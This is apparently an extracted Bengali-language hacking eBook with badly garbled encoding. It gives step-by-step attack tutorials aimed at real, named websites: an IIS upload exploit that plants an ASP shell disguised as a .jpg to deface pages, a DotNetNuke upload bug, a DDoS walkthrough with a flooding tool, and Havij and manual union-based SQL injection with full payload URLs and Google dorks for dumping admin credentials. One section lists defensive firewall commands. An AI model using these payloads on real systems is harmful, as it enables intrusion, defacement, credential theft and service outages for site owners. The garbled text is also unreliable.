---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 27: Hacking Bangla eBook

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

